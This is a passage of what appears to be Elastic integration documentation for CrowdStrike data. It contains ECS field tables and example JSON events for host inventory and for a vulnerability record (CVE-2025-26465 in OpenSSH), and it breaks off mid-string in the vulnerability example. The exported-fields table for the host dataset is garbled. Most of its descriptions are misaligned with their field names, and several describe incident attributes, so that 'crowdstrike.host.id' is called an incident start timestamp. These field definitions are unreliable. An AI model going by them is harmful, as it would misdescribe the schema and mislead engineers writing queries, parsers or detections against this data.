OS you're dealing with is not listed as an expected value, the field should not be populated. Please let us know by opening an issue with ECS, to propose its addition. | keyword | -| host.os.version | Operating system version as a raw string. | keyword | -| input.type | | keyword | -| log.file.path | Full path to the log file this event came from, including the file name. It should include the drive letter, when appropriate. If the event wasn't read from a log file, do not populate this field. | keyword | -| log.offset | | long | -| network.community_id | A hash of source and destination IPs and ports, as well as the protocol used in a communication. This is a tool-agnostic standard to identify flows. Learn more at https://github.com/corelight/community-id-spec. | keyword | -| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword | -| network.iana_number | IANA Protocol Number (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml). Standardized list of protocols. This aligns well with NetFlow and sFlow related logs which use the IANA Protocol Number. | keyword | -| network.transport | Same as network.iana_number, but instead using the Keyword name of the transport layer (udp, tcp, ipv6-icmp, etc.) The field value must be normalized to lowercase for querying. | keyword | -| observer.address | | keyword | -| observer.geo.city_name | City name. | keyword | -| observer.geo.continent_name | Name of the continent. | keyword | -| observer.geo.country_iso_code | Country ISO code. | keyword | -| observer.geo.country_name | Country name. | keyword | -| observer.geo.location | Longitude and latitude. | geo_point | -| observer.geo.region_iso_code | Region ISO code. | keyword | -| observer.geo.region_name | Region name. | keyword | -| observer.ip | IP addresses of the observer. | ip | -| observer.serial_number | Observer serial number. | keyword | -| observer.type | The type of the observer the data is coming from. There is no predefined list of observer types. Some examples are `forwarder`, `firewall`, `ids`, `ips`, `proxy`, `poller`, `sensor`, `APM server`. | constant_keyword | -| observer.vendor | Vendor name of the observer. | constant_keyword | -| observer.version | Observer version. | keyword | -| process.Ext.token.integrity_level_name | Human readable integrity level. | keyword | -| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | -| process.args_count | Length of the process.args array. This field can be useful for querying or performing bucket analysis on how many arguments were provided to start a process. More arguments may be an indication of suspicious activity. | long | -| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | -| process.command_line.text | Multi-field of `process.command_line`. | match_only_text | -| process.end | The time the process ended. | date | -| process.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword | -| process.executable | Absolute path to the process executable. | keyword | -| process.executable.caseless | Multi-field of `process.executable`. | keyword | -| process.executable.text | Multi-field of `process.executable`. | match_only_text | -| process.exit_code | The exit code of the process, if this is a termination event. The field should be absent if there is no exit code for the event (e.g. process start). | long | -| process.group.id | | keyword | -| process.hash.md5 | MD5 hash. | keyword | -| process.hash.sha256 | SHA256 hash. | keyword | -| process.name | Process name. Sometimes called program name or similar. | keyword | -| process.name.caseless | Multi-field of `process.name`. | keyword | -| process.name.text | Multi-field of `process.name`. | match_only_text | -| process.parent.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword | -| process.parent.name | Process name. Sometimes called program name or similar. | keyword | -| process.parent.name.text | Multi-field of `process.parent.name`. | match_only_text | -| process.pgid | Deprecated for removal in next major version release. This field is superseded by `process.group_leader.pid`. Identifier of the group of processes the process belongs to. | long | -| process.pid | Process id. | long | -| process.start | The time the process started. | date | -| process.thread.id | Thread ID. | long | -| process.title | Process title. The proctitle, some times the same as process name. Can also be different: for example a browser setting its title to the web page currently opened. | keyword | -| process.title.text | Multi-field of `process.title`. | match_only_text | -| process.uptime | Seconds the process has been up. | long | -| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword | -| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword | -| related.ip | All of the IPs seen on your event. | ip | -| related.user | All the user names or other user identifiers seen on the event. | keyword | -| server.address | Some event server addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | -| server.domain | The domain name of the server system. This value may be a host name, a fully qualified domain name, or another host naming format. The value may derive from the original event or be added from enrichment. | keyword | -| server.registered_domain | The highest registered server domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | -| server.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain. In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | -| server.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | -| source.address | Some event source addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | -| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | -| source.as.organization.name | Organization name. | keyword | -| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text | -| source.geo.city_name | City name. | keyword | -| source.geo.continent_name | Name of the continent. | keyword | -| source.geo.country_iso_code | Country ISO code. | keyword | -| source.geo.country_name | Country name. | keyword | -| source.geo.location | Longitude and latitude. | geo_point | -| source.geo.region_iso_code | Region ISO code. | keyword | -| source.geo.region_name | Region name. | keyword | -| source.ip | IP address of the source (IPv4 or IPv6). | ip | -| source.mac | MAC address of the source. The notation format from RFC 7042 is suggested: Each octet (that is, 8-bit byte) is represented by two [uppercase] hexadecimal digits giving the value of the octet as an unsigned integer. Successive octets are separated by a hyphen. | keyword | -| source.port | Port of the source. | long | -| tags | List of keywords used to tag each event. | keyword | -| url.domain | Domain of the url, such as "www.elastic.co". In some cases a URL may refer to an IP and/or port directly, without a domain name. In this case, the IP address would go to the `domain` field. If the URL contains a literal IPv6 address enclosed by `[` and `]` (IETF RFC 2732), the `[` and `]` characters should also be captured in the `domain` field. | keyword | -| url.extension | The field contains the file extension from the original request url, excluding the leading dot. The file extension is only set if it exists, as not every url has a file extension. The leading period must not be included. For example, the value must be "png", not ".png". Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword | -| url.original | Unmodified original url as seen in the event source. Note that in network monitoring, the observed URL may be a full URL, whereas in access logs, the URL is often just represented as a path. This field is meant to represent the URL as it was observed, complete or not. | wildcard | -| url.original.text | Multi-field of `url.original`. | match_only_text | -| url.path | Path of the request, such as "/search". | wildcard | -| url.registered_domain | The highest registered url domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | -| url.scheme | Scheme of the request, such as "https". Note: The `:` is not part of the scheme. | keyword | -| url.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain. In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | -| url.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | -| user.Ext.real.id | One or multiple unique identifiers of the user. | keyword | -| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword | -| user.email | User email address. | keyword | -| user.full_name | User's full name, if available. | keyword | -| user.full_name.text | Multi-field of `user.full_name`. | match_only_text | -| user.group.id | Unique identifier for the group on the system/platform. | keyword | -| user.id | Unique identifier of the user. | keyword | -| user.name | Short name or login of the user. | keyword | -| user.name.text | Multi-field of `user.name`. | match_only_text | - - -### Host - -This is the `host` dataset. - -#### Example - -An example event for `host` looks as following: - -```json -{ - "@timestamp": "2023-11-07T10:26:53.000Z", - "agent": { - "ephemeral_id": "ca93e106-c70b-45b7-a058-ee8f088d0c70", - "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc", - "name": "elastic-agent-18005", - "type": "filebeat", - "version": "8.18.0" - }, - "crowdstrike": { - "host": { - "agent": { - "load_flags": "0", - "local_time": "2023-11-07T04:51:16.678Z", - "version": "7.05.17603.0" - }, - "bios": { - "manufacturer": "ABCInc.", - "version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)" - }, - "chassis_type": { - "desc": "Laptop", - "value": "9" - }, - "cid": "92012896127c4948236ba7601b886b0", - "config_id": { - "base": "6594763", - "build": "1703", - "platform": "4" - }, - "connection_ip": "81.2.69.192", - "cpu_signature": "460517", - "device_policies": { - "device_control": { - "applied": true, - "applied_date": "2023-06-20T08:45:26.341Z", - "assigned_date": "2023-06-20T08:43:47.736Z", - "policy_id": "2f88daf0177f467dae69262a5ce71775", - "policy_type": "device-control" - }, - "firewall": { - "applied": true, - "applied_date": "2023-09-11T10:33:44.174Z", - "assigned_date": "2023-09-11T10:32:47.853Z", - "policy": { - "id": "1ee301f7e3e24e96ad6a23c73aaac1e3", - "type": "firewall" - }, - "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" - }, - "global_config": { - "applied": true, - "applied_date": "2023-11-07T04:52:59.515Z", - "assigned_date": "2023-11-07T04:51:18.946Z", - "policy": { - "id": "7e3078b60976486cac5dc998808d9135", - "type": "globalconfig" - }, - "settings_hash": "f01def74" - }, - "prevention": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.643Z", - "assigned_date": "2023-06-08T10:03:49.505Z", - "policy": { - "id": "1024fac1b279424fa7300b8ac2d56be5", - "type": "prevention" - }, - "settings_hash": "f7a54ca1" - }, - "remote_response": { - "applied": true, - "applied_date": "2023-06-08T10:04:47.017Z", - "assigned_date": "2023-06-08T10:03:49.505Z", - "policy": { - "id": "dabb4def99034f11b9b3d52271584c9f", - "type": "remote-response" - }, - "settings_hash": "8a548e5e" - }, - "sensor_update": { - "applied": true, - "applied_date": "2023-11-07T04:52:59.659Z", - "assigned_date": "2023-11-07T04:47:43.342Z", - "policy": { - "id": "64bfa2bbcd4e46da92a66b107933da11", - "type": "sensor-update" - }, - "settings_hash": "tagged|18;101", - "uninstall_protection": "ENABLED" - } - }, - "external_ip": "81.2.69.192", - "first_seen": "2023-06-08T10:00:19.000Z", - "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", - "groups": [ - "182388a8dbea4c44b5e019cfd32c2695" - ], - "hostname": "CLM101-131.local", - "id": "3114433dbce478ca48d9a828b9b34be", - "kernel_version": "22.6.0", - "last_seen": "2023-11-07T10:25:24.000Z", - "local_ip": "81.2.69.142", - "mac_address": "14-7D-DA-AD-AC-71", - "machine_domain": "SYS", - "major_version": "22", - "meta": { - "version": "6002", - "version_string": "7:43570272778" - }, - "minor_version": "6", - "modified_timestamp": "2023-11-07T10:26:53.000Z", - "os": { - "build": "22G120", - "version": "Ventura(13)" - }, - "platform": { - "id": "1", - "name": "Mac" - }, - "policies": [ - { - "applied": true, - "applied_date": "2023-06-08T10:04:47.643Z", - "assigned_date": "2023-06-08T10:03:49.505Z", - "policy": { - "id": "1024fac1b279424fa7300b8ac2d56be5", - "type": "prevention" - }, - "settings_hash": "f7a54ca1" - } - ], - "product_type_desc": "Workstation", - "provision_status": "Provisioned", - "reduced_functionality_mode": "no", - "serial_number": "FVFDH73HMNHX", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system": { - "manufacturer": "ABCInc.", - "product_name": "Air,1" - }, - "tags": [ - "tags" - ] - } - }, - "data_stream": { - "dataset": "crowdstrike.host", - "namespace": "67537", - "type": "logs" - }, - "device": { - "id": "3114433dbce478ca48d9a828b9b34be" - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc", - "snapshot": true, - "version": "8.18.0" - }, - "event": { - "agent_id_status": "verified", - "category": [ - "host" - ], - "dataset": "crowdstrike.host", - "ingested": "2025-11-27T09:36:28Z", - "kind": "event", - "original": "{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-11-07T04:51:16.678Z\",\"agent_version\":\"7.05.17603.0\",\"bios_manufacturer\":\"ABCInc.\",\"bios_version\":\"2020.0.1.0.0(iBridge:22.11.000.0.0,0)\",\"chassis_type\":\"9\",\"chassis_type_desc\":\"Laptop\",\"cid\":\"92012896127c4948236ba7601b886b0\",\"config_id_base\":\"6594763\",\"config_id_build\":\"1703\",\"config_id_platform\":\"4\",\"connection_ip\":\"81.2.69.192\",\"cpu_signature\":\"460517\",\"device_id\":\"3114433dbce478ca48d9a828b9b34be\",\"device_policies\":{\"device_control\":{\"applied\":true,\"applied_date\":\"2023-06-20T08:45:26.341093915Z\",\"assigned_date\":\"2023-06-20T08:43:47.736146738Z\",\"policy_id\":\"2f88daf0177f467dae69262a5ce71775\",\"policy_type\":\"device-control\"},\"firewall\":{\"applied\":true,\"applied_date\":\"2023-09-11T10:33:44.174488832Z\",\"assigned_date\":\"2023-09-11T10:32:47.853976945Z\",\"policy_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\",\"policy_type\":\"firewall\",\"rule_set_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\"},\"global_config\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.515775409Z\",\"assigned_date\":\"2023-11-07T04:51:18.94671252Z\",\"policy_id\":\"7e3078b60976486cac5dc998808d9135\",\"policy_type\":\"globalconfig\",\"settings_hash\":\"f01def74\"},\"prevention\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"},\"remote_response\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.01735027Z\",\"assigned_date\":\"2023-06-08T10:03:49.505163572Z\",\"policy_id\":\"dabb4def99034f11b9b3d52271584c9f\",\"policy_type\":\"remote-response\",\"settings_hash\":\"8a548e5e\"},\"sensor_update\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.659583066Z\",\"assigned_date\":\"2023-11-07T04:47:43.342175341Z\",\"policy_id\":\"64bfa2bbcd4e46da92a66b107933da11\",\"policy_type\":\"sensor-update\",\"settings_hash\":\"tagged|18;101\",\"uninstall_protection\":\"ENABLED\"}},\"external_ip\":\"81.2.69.192\",\"first_seen\":\"2023-06-08T10:00:19Z\",\"group_hash\":\"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77\",\"groups\":[\"182388a8dbea4c44b5e019cfd32c2695\"],\"hostname\":\"CLM101-131.local\",\"kernel_version\":\"22.6.0\",\"last_seen\":\"2023-11-07T10:25:24Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"14-7d-da-ad-ac-71\",\"machine_domain\":\"SYS\",\"major_version\":\"22\",\"meta\":{\"version\":\"6002\",\"version_string\":\"7:43570272778\"},\"minor_version\":\"6\",\"modified_timestamp\":\"2023-11-07T10:26:53Z\",\"os_build\":\"22G120\",\"os_version\":\"Ventura(13)\",\"platform_id\":\"1\",\"platform_name\":\"Mac\",\"policies\":[{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"}],\"product_type_desc\":\"Workstation\",\"provision_status\":\"Provisioned\",\"reduced_functionality_mode\":\"no\",\"serial_number\":\"FVFDH73HMNHX\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"ABCInc.\",\"system_product_name\":\"Air,1\",\"tags\":[\"tags\"]}", - "type": [ - "info" - ] - }, - "host": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "hostname": "CLM101-131.local", - "id": "3114433dbce478ca48d9a828b9b34be", - "ip": [ - "81.2.69.192" - ], - "mac": [ - "14-7D-DA-AD-AC-71" - ], - "os": { - "full": "Ventura(13)", - "platform": "Mac", - "type": "macos" - } - }, - "input": { - "type": "cel" - }, - "related": { - "hash": [ - "f01def74", - "f7a54ca1", - "8a548e5e", - "tagged|18;101", - "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77" - ], - "hosts": [ - "CLM101-131.local", - "SYS" - ], - "ip": [ - "81.2.69.192", - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "crowdstrike-host" - ] -} -``` - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| crowdstrike.host.agent.load_flags | Any errors associated with the incident. | keyword | -| crowdstrike.host.agent.local_time | The fine score associated with the incident. | date | -| crowdstrike.host.agent.version | The list of host IDs associated with the incident. | keyword | -| crowdstrike.host.bios.manufacturer | Flags indicating the load status of the agent on the host. | keyword | -| crowdstrike.host.bios.version | The local time on the host where the agent is running. | keyword | -| crowdstrike.host.chassis_type.desc | The version of the agent running on the host. | keyword | -| crowdstrike.host.chassis_type.value | The manufacturer of the BIOS on the host. | keyword | -| crowdstrike.host.cid | The version of the BIOS on the host. | keyword | -| crowdstrike.host.config_id.base | The customer ID associated with the host. | keyword | -| crowdstrike.host.config_id.build | The base configuration ID associated with the host. | keyword | -| crowdstrike.host.config_id.platform | The build configuration ID associated with the host. | keyword | -| crowdstrike.host.connection_ip | The platform configuration ID associated with the host. | ip | -| crowdstrike.host.cpu_signature | The device ID associated with the host. | keyword | -| crowdstrike.host.device_policies.device_control.applied | Timestamp indicating when the host was first seen. | boolean | -| crowdstrike.host.device_policies.device_control.applied_date | The groups associated with the host. | date | -| crowdstrike.host.device_policies.device_control.assigned_date | Timestamp indicating when the host was last seen. | date | -| crowdstrike.host.device_policies.device_control.policy_id | The local IP address of the host. | keyword | -| crowdstrike.host.device_policies.device_control.policy_type | The domain to which the machine belongs. | keyword | -| crowdstrike.host.device_policies.firewall.applied | The major version of the operating system on the host. | boolean | -| crowdstrike.host.device_policies.firewall.applied_date | The minor version of the operating system on the host. | date | -| crowdstrike.host.device_policies.firewall.assigned_date | Timestamp indicating when the host information was last modified. | date | -| crowdstrike.host.device_policies.firewall.policy.id | The organizational units associated with the host. | keyword | -| crowdstrike.host.device_policies.firewall.policy.type | The platform ID of the host. | keyword | -| crowdstrike.host.device_policies.firewall.rule_set_id | The platform name of the host. | keyword | -| crowdstrike.host.device_policies.global_config.applied | The description of the product type of the host. | boolean | -| crowdstrike.host.device_policies.global_config.applied_date | The product type of the host. | date | -| crowdstrike.host.device_policies.global_config.assigned_date | The site name associated with the host. | date | -| crowdstrike.host.device_policies.global_config.policy.id | The status of the host. | keyword | -| crowdstrike.host.device_policies.global_config.policy.type | The manufacturer of the system on the host. | keyword | -| crowdstrike.host.device_policies.global_config.settings_hash | The product name of the system on the host. | keyword | -| crowdstrike.host.device_policies.prevention.applied | The objectives associated with the incident. | boolean | -| crowdstrike.host.device_policies.prevention.applied_date | The state of the incident, whether open or closed. | date | -| crowdstrike.host.device_policies.prevention.assigned_date | The status of the incident. | date | -| crowdstrike.host.device_policies.prevention.policy.id | The tactics associated with the incident. | keyword | -| crowdstrike.host.device_policies.prevention.policy.type | The techniques associated with the incident. | keyword | -| crowdstrike.host.device_policies.prevention.rule_groups | The type of incident. | keyword | -| crowdstrike.host.device_policies.prevention.settings_hash | The users associated with the incident. | keyword | -| crowdstrike.host.device_policies.remote_response.applied | | boolean | -| crowdstrike.host.device_policies.remote_response.applied_date | | date | -| crowdstrike.host.device_policies.remote_response.assigned_date | | date | -| crowdstrike.host.device_policies.remote_response.policy.id | | keyword | -| crowdstrike.host.device_policies.remote_response.policy.type | | keyword | -| crowdstrike.host.device_policies.remote_response.settings_hash | | keyword | -| crowdstrike.host.device_policies.sensor_update.applied | | boolean | -| crowdstrike.host.device_policies.sensor_update.applied_date | | date | -| crowdstrike.host.device_policies.sensor_update.assigned_date | | date | -| crowdstrike.host.device_policies.sensor_update.policy.id | | keyword | -| crowdstrike.host.device_policies.sensor_update.policy.type | | keyword | -| crowdstrike.host.device_policies.sensor_update.settings_hash | | keyword | -| crowdstrike.host.device_policies.sensor_update.uninstall_protection | | keyword | -| crowdstrike.host.external_ip | The external IP address of the host. | ip | -| crowdstrike.host.first_seen | | date | -| crowdstrike.host.group_hash | | keyword | -| crowdstrike.host.groups | | keyword | -| crowdstrike.host.hostname | The hostname of the host. | keyword | -| crowdstrike.host.id | Timestamp indicating when the incident started. | keyword | -| crowdstrike.host.kernel_version | | keyword | -| crowdstrike.host.last_seen | | date | -| crowdstrike.host.local_ip | | ip | -| crowdstrike.host.mac_address | The MAC address of the host. | keyword | -| crowdstrike.host.machine_domain | | keyword | -| crowdstrike.host.major_version | | keyword | -| crowdstrike.host.meta.version | | keyword | -| crowdstrike.host.meta.version_string | | keyword | -| crowdstrike.host.minor_version | | keyword | -| crowdstrike.host.modified_timestamp | Timestamp indicating when the incident was created. | date | -| crowdstrike.host.os.build | | keyword | -| crowdstrike.host.os.version | The version of the operating system on the host. | keyword | -| crowdstrike.host.ou | The organizational unit of the host as seen by the sensor. | keyword | -| crowdstrike.host.platform.id | | keyword | -| crowdstrike.host.platform.name | The identifier associated with the customer. | keyword | -| crowdstrike.host.policies.applied | | boolean | -| crowdstrike.host.policies.applied_date | | date | -| crowdstrike.host.policies.assigned_date | | date | -| crowdstrike.host.policies.policy.id | | keyword | -| crowdstrike.host.policies.policy.type | | keyword | -| crowdstrike.host.policies.rule_groups | | keyword | -| crowdstrike.host.policies.settings_hash | | keyword | -| crowdstrike.host.product_type_desc | | keyword | -| crowdstrike.host.provision_status | | keyword | -| crowdstrike.host.reduced_functionality_mode | | keyword | -| crowdstrike.host.serial_number | | keyword | -| crowdstrike.host.site_name | | keyword | -| crowdstrike.host.status | | keyword | -| crowdstrike.host.system.manufacturer | | keyword | -| crowdstrike.host.system.product_name | | keyword | -| crowdstrike.host.tags | | keyword | -| data_stream.dataset | Data stream dataset. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| event.dataset | Event dataset. | constant_keyword | -| event.module | Event module. | constant_keyword | -| input.type | Type of filebeat input. | keyword | -| log.offset | Log offset. | long | -| tags | List of keywords used to tag each event. | keyword | - - -### Vulnerability - -This is the `vulnerability` dataset. - -#### Example - -An example event for `vulnerability` looks as following: - -```json -{ - "@timestamp": "2025-02-25T13:33:23.000Z", - "agent": { - "ephemeral_id": "6eee1701-fd23-48b2-9593-d4e3e98abf5a", - "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4", - "name": "elastic-agent-98024", - "type": "filebeat", - "version": "8.18.0" - }, - "crowdstrike": { - "vulnerability": { - "aid": "897580adb4ab4540a357536faa41de18", - "app": { - "product_name_normalized": "openssh", - "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", - "vendor_normalized": "Ubuntu" - }, - "apps": [ - { - "evaluation_logic": { - "aid": "897580adb4ab4540a357536faa41de18", - "cid": "2cd98db1a47b4c98b913c94d43bfab70", - "complex_check_operator": "AND", - "created_timestamp": "2025-02-20T10:15:30.000Z", - "id": "138bd6a67791327ab367838079b4d786", - "logic": [ - { - "comparison_check": "equals", - "comparisons": { - "state_comparisons": [ - { - "entity_comparisons": [ - { - "actual_value_field": "version", - "operation": "equals", - "value_datatype": "string" - } - ], - "entity_operator": "AND" - } - ], - "state_operator": "OR" - }, - "determined_by_comparison": true, - "existence_check": "Yes", - "id": "logic-12345", - "negate": false, - "status": "active", - "title": "Evaluation Logic for OpenSSH", - "type": "comparison" - } - ], - "updated_timestamp": "2025-02-25T13:33:23.000Z" - }, - "patch_publication_date": "2025-02-19T00:00:00.000Z", - "product_name_normalized": "openssh", - "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", - "remediation": { - "ids": [ - "4688299d204b35a192828bdaf556ecf8" - ] - }, - "remediation_info": { - "minimum_id": "df1af7df1d33382398fb0dc268109a4d", - "patch_publication_date": "2025-02-19T00:00:00.000Z", - "recommended_id": "4688299d207b35a192828bdaf556ecf8" - }, - "sub_status": "open", - "vendor_normalized": "Ubuntu" - } - ], - "cid": "2cd98db1a47b4c98b913c94d43bfab70", - "closed_timestamp": "2025-02-26T10:00:00.000Z", - "confidence": "confirmed", - "created_timestamp": "2025-02-20T10:10:24.000Z", - "cve": { - "base_score": 6.8, - "cisa_info": { - "due_date": "2025-03-01T00:00:00.000Z", - "is_cisa_kev": false - }, - "cwes": [ - "CWE-123" - ], - "description": "A vulnerability was found in OpenSSH...", - "exploit_status": 30, - "exploitability_score": 1.6, - "exprt_rating": "MEDIUM", - "id": "CVE-2025-26465", - "impact_score": 5.2, - "published_date": "2025-02-18T19:15:00.000Z", - "references": [ - "https://ubuntu.com/security/CVE-2025-26465" - ], - "remediation_level": "O", - "severity": "MEDIUM", - "spotlight_published_date": "2025-02-19T05:32:00.000Z", - "types": [ - "Vulnerability" - ], - "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N" - }, - "data_providers": [ - { - "ports": [ - 22, - 80 - ], - "provider": "Falcon sensor", - "rating": "high", - "scan_id": "scan-123456", - "scan_time": "2025-02-20T12:00:00Z", - "scanner_id": "scanner-xyz" - } - ], - "host_info": { - "asset_criticality": "Critical", - "groups": [ - { - "id": "group-123", - "name": "Production" - } - ], - "has_run_container": false, - "host_last_seen_timestamp": "2025-02-18T00:00:00.000Z", - "hostname": "ub24-50-10-154", - "internet_exposure": "No", - "local_ip": "1.128.0.0", - "machine_domain": "example.local", - "managed_by": "Falcon sensor", - "os_version": "Ubuntu 24.04", - "platform": "Linux", - "product_type_desc": "Server", - "service_provider": "AWS", - "service_provider_account_id": "123456789012", - "system_manufacturer": "Dell", - "tags": [ - "production", - "security" - ] - }, - "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", - "remediation": { - "entities": [ - { - "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer", - "id": "4688299d207b35a192828bdaf556ecf8", - "link": "https://ubuntu.com/security/CVE-2025-26465", - "recommendation_type": "recommended", - "reference": "1:9.6p1-3ubuntu13.8", - "title": "Update ubuntu openssh", - "vendor_url": "https://www.openssh.com" - } - ], - "ids": [ - "4688299d207b35a192828bdaf556ecf8", - "df1af7df1d33382398fb0dc268109a4d" - ] - }, - "status": "open", - "suppression_info": { - "is_suppressed": false, - "reason": "Not applicable" - }, - "updated_timestamp": "2025-02-25T13:33:23.000Z", - "vulnerability_id": "CVE-2025-26465" - } - }, - "data_stream": { - "dataset": "crowdstrike.vulnerability", - "namespace": "35952", - "type": "logs" - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4", - "snapshot": true, - "version": "8.18.0" - }, - "event": { - "agent_id_status": "verified", - "category": [ - "vulnerability" - ], - "dataset": "crowdstrike.vulnerability", - "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", - "ingested": "2025-08-22T08:33:35Z", - "kind": "event", - "original": "{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"app\":{\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"vendor_normalized\":\"Ubuntu\"},\"apps\":[{\"evaluation_logic\":{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"complex_check_operator\":\"AND\",\"created_timestamp\":\"2025-02-20T10:15:30Z\",\"id\":\"138bd6a67791327ab367838079b4d786\",\"logic\":[{\"comparison_check\":\"equals\",\"comparisons\":{\"state_comparisons\":[{\"entity_comparisons\":[{\"actual_value_field\":\"version\",\"operation\":\"equals\",\"value_datatype\":\"string\"}],\"entity_operator\":\"AND\"}],\"state_operator\":\"OR\"},\"determined_by_comparison\":true,\"existence_check\":\"Yes\",\"id\":\"logic-12345\",\"negate\":false,\"status\":\"active\",\"title\":\"Evaluation Logic for 